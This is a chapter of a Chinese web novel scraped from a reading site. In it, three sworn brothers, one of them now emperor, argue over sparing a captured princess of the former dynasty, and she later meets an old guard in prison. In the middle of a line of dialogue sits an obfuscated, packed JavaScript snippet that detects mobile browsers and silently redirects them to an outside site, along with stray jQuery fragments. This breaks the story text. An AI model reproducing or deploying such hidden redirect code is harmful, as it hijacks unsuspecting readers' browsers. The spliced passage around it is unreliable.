默认冷灰
24号文字
方正启体

119. 梁京(23)

作者:东朱亭本书字数:K更新时间:
    纪南风一发话,萧臻简暴跳如雷的情绪瞬间没了,他沉沉吸了两口气以表达愤怒,坐回原位,“那哥你说。”


    白佑霖的绷紧的神经也得到一丝喘息,乖乖低了头,听纪南风的话。


    纪南风缓缓开口,“佑霖敢跟你这样争,是没拿你当外人。”


    萧臻简垂着头,顿了片刻才道,“我当然知道,可是这小子轻重不分!”


    纪南风给二人满上酒杯,“说什么轻重不分,你头一回见他,是为了什么?”


    萧臻简幽幽叹一口气,“大哥,我记得,是大阴山,虞军围剿我萧氏一门,我将妹妹藏于干草中,望她能逃出生天,她虽得以逃脱,却是留下了踪迹,被虞军追杀。”


    “好在妹妹遇到了佑霖,那时候他是大阴山的山匪头子,救下了妹妹……”


    说起这些事,萧臻简也感怀,“佑霖怕妹妹于家人失散,直接带人劫狱,将我一家老小都救出来了。”


    现在想想,真是吓人啊,十来岁的小伙子,竟敢劫官家的大狱,还成功了,萧臻简汗颜。


    纪南风道,“那不就对了。”


    “你要说他是个好人吧,他救了你妹妹,可以自己养大,可以给她找一户人家,也可以带在土匪窝,偏生佑霖听闻你还活着,觉着家人不该分离,就敢冒着这么大的风险劫狱。”


    “但凡你妹妹要是个男娃,他说不准都留在寨子里当土匪了!”


    “他天生就是个疼小姑娘的人,你又不是不知道!”


    “……”白佑霖真不知这话是夸他还是骂他。


    纪南风与萧臻简轻轻碰杯,“他家里都是被世道折磨得苦不堪言的姑娘,难免如此,在达鲁见了漂泊异乡的姑娘,心疼上了,这不正常?”


    纪南风转头又与白佑霖碰杯,“不是我说你,自己什么德行,还能买女奴?”


    白佑霖被说了,实在羞赧,“我就是看达鲁家家户户都有奴隶嘛,买来卖去,看他们都挺乐意……”


    纪南风又将话题扯回来,“听见没,他就这么个性子,他要的就是阖家团圆,过安安稳稳不受欺压的日子。要不是他心软,你妹妹也活不下来,你们一家子都会被牵连进冤案无端斩首!”


    “你与他共事,咱们结拜,不就是因为这副柔软心肠?现在你又嫌他为女人发疯,吃着碗里还要看着锅里!”


    “你莫要说他,当初举事,我也是为了你嫂子不过苦日子,这有什么好指摘的?”


    纪南风这话戳到白佑霖心窝窝上了,他连忙附和,“是咯!这人姑娘都跟我睡一个被窝了,我要是把人杀了,岂不是跟我那个爹一样?”


    “我那便宜爹都没有赶尽杀绝!”


    “这回在饮马川,我一刀将他的头砍下来了!”他说得颇为得意。


    萧臻简头疼,不由地呛他一句,“说这么多,还不是好色!”


    “是我好色,但我是个要负责的男人!”白佑霖对这话不觉得羞,反倒傲然。


    “胳膊肘往外拐!”萧臻简小声呛一句,“跟你们两个色令智昏的人我还说个啥!”


    “你们倒是抱着媳妇儿美满,我一个人在这儿天天被前朝老贼指着鼻子骂,骂我是篡位之徒,背了天道是要下十八层地狱!”


    “天天给你们筹军需筹得焦头烂额,五年来就没睡过一个好觉!佑霖你还带着军队失踪,急得我大病一场,十天有八天我要拉着耿路兰聊心,生怕他带着禁军要反我!”


    萧臻简语如连炮珠,说得目眦欲裂,咬牙切齿,“好不容易盼着老三回来,居然带回来个前朝公主!”


    “耿路兰这厮更是个没骨头的!我去他的禁军首领,去他的玄鸮卫统帅!天知道我在他身上花了多少心思!结果要他杀个公主,人家还给放了!我这五年白对他好了!”


    他终是忍不住高声骂出了口,“这个酷吏一点都不酷!”


    “气死我了!”


    萧臻简迫切想要尖叫,“啊!!她到底有多魅力无边!你们都跟着魔一样,调你的兵也不管了,你是大将军啊!我可以容忍你身边有女人,有千八百个我都管不着,但你让她调你的兵,阻碍我围剿凉州那群老土冒!白佑霖我真的忍不了!”


    白佑霖知道,他自己也知道临阵调兵是多严重的行为,可是他若点个头,她就会死。无关于她是否与他睡了同一个被窝,而是他始终没法将她定性于一个恶人,一个普通人,他也做不到。


    想着,白佑霖站起身,跪了下来,“陛下,这事儿罪责在我,是我练兵无方,军纪散漫,你责罚我,我愿将兵权交还陛下。”


    萧臻简真想白眼一翻晕过去,“啊!你你你给我起来!你还想撂挑子不干了?明明知道我就信你们两个,还威胁我!”


    服气!


    萧臻简气笑了,笑着笑着他想哭,好一阵沉默的对峙后,他又拉着二人语重心长地聊,“佑霖,别说这种话,你会把我气死的。”


    “二哥实在是走投无路啊!”


    萧臻简道,“你知那公主最可怕的地方在哪里?”


    白佑霖垂着头,他知,又不知,他讲不清心底在祈盼着什么,或许是觉得她若对自己有半分爱意,怜悯,心疼,会做出那么一点点退让,事情便迎刃而解。


    萧臻简道认认真真同他们二人讲,“现在朝中,有一半的人是前朝旧臣,这群人已经是我筛选过的,有良心有名声,对州郡县地方官能说得上话,称得上清流。”


    “我不可能杀了他们自绝于天下士林,所以我容忍他们,给升官给钱财,我自认为他们该服气。但他们并不这样想啊,天天斥责我篡位弑君,得位不正,公然在朝堂辱骂我,要已死明忠君之志!这让我这个皇帝怎么当?”


    “而你带回来的那个公主,在元奉璋三十几个皇嗣里,竟然是这群清流里名声最好的人!如今她一现身,这群人就有压舱石有抓手,那我这皇位还有得做吗?早该祭天了!”


    萧臻简的话不无道理,纪南风和白佑霖也能感受到兄弟的难处,三人当初举事时虽然没想过最后会走到这个位置,但既然真的坐上了皇位,一荣俱荣,一损俱损。


    这样的现实很沉重。


    白佑霖不知该怎么保她,因为说不过去,没有道理,他的理由顶多是私人意愿,天下之势,向来不会顾及他这么个人。


    他忽然生出荒谬,从前造反,就是为了不受人胁迫,这当了将军,怎么没有区别?


    夜风吹得静,纪南风忽然道,“臻简,你留她一条命。”


    大哥说话总是如定海神针,萧臻简没有反驳,白佑霖眸光一亮。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299555|188868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我做担保,你把这公主交给我,我带去南疆软禁起来,待你大势安定,我亲自将人送去给佑霖。”


    白佑霖一时拧紧眉头,这法子说好也挺好,有大哥在,她的命就保住了,但是他蓦地想起她被骜丹囚禁的几年……


    可他自己想不出好法子,于是完全没法反驳。


    萧臻简思考许久,略带犹豫,“嗯……既然大哥发话,我自是信得过大哥……”


    白佑霖讪讪道,“哥,她金贵得很……呃,软禁是怎么个软禁法?”


    纪南风啧一声,“吃好的喝好的,跟你嫂子一个待遇够不够!我能虐待她?”


    白佑霖又道,“她……其实,她说她是陈七,有没有可能,她不是公主?要不要审审?”


    连纪南风都忍不了他了,骂他一句,“你那出息!”


    萧臻简也跟着骂,“就是!能不能有点出息!大哥都这样帮你了,你还得寸进尺!说什么陈七,你还想给她个正经身份?还要给她自由?真不怕她领着人掀了这朝廷!”


    白佑霖答应过她,要给她身份,奈何读书太少,胸中无点墨,是个莽夫,一整夜,喝了一坛子酒,都想不出个更好的办法。


    他笑话自己无能,只是求了萧臻简,“她这两天病了,让我接回去养几日病?”


    萧臻简道,“好,我也有事让你去做。”


    白佑霖晕乎乎地应了,“什么事都行。”


    萧臻简说,“监斩。”


    斩谁?


    一群前朝蛇蝎心肠的恶官,以奸相唐易之为首,等一众党派及其家族,因怕激起前朝旧臣的众愤,至今没敢斩。


    *


    元楹楣睡了好沉一觉,迷迷糊糊中好像有人在给她掖被角,再次醒来时,牢房并没有人。


    说是牢房,倒是间待遇极好的牢房,有小几,有凳子,有床,被褥看上去也是干净的,也不知是耿路兰的意思,还是萧臻简的意思,或者……是白佑霖?


    小几上放着一碗药汤,散发着浓浓的苦药味,已然冰凉,她想治病,但不敢乱用药,于是没敢乱喝。


    不多时,外头传来脚步声,她头疼,全然没力气较劲是谁了,进来是谁就是谁,天塌了拿白佑霖去压。


    牢房门被推开的那一刻,元楹楣疲累的心忽然像是饮下一口极其醇美的酒,死而复苏,万物生机!


    是故人!


    她眸光像琉璃珠子一样璀璨,端端坐在床上,轻而慢地开口,“周知燕,别来无恙。”


    来人是个二十来岁的男子,一身玄鸮卫的服饰衬得身姿笔挺,偏瘦但高,没那么有压迫感,却也称得上高大,淡雅的相貌里,多了几分元楹楣未曾见过的坚毅。


    周知燕见到元楹楣的那一刻,眸光流转慢了下来,恍惚间觉着不似真人,是梦里才会有的亲切,难免在心中感叹,是故人啊。


    周知燕眼睛一酸,立马单膝跪在了地上,“周知燕……见过公主!”


    声音是哽咽的,元楹楣也忽然忆及从前,第一次见他时,他面容里略带几分稚嫩,说话哆哆嗦嗦,小心翼翼。


    周知燕是曲弥欣送给她的侍卫,虽然跟了她很多年,但月俸都是曲弥欣给的。


    元楹楣感怀之时,不禁问道,“周知燕,我和曲弥欣已然离心,你跟谁?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)